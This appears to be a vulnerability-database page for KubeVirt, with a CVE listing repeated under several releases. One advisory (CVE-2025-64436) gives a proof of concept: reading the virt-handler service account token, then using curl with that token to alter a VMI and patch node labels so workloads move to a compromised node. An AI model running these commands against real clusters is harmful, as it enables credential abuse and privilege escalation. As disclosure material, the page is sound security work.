KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

GO-2022-1000 GHSA-qv98-3369-g364 Aug 21, 2024

KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt

Fixed in


          0.55.1

References

Updated Mar 13, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Feb 01, 2021

v0.34.1 minor

15 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

GO-2022-1000 GHSA-qv98-3369-g364 Aug 21, 2024

KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt

Fixed in


          0.55.1

References

Updated Mar 13, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Nov 05, 2020

v0.33.0-rc.1 pre

15 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

GO-2022-1000 GHSA-qv98-3369-g364 Aug 21, 2024

KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt

Fixed in


          0.55.1

References

Updated Mar 13, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

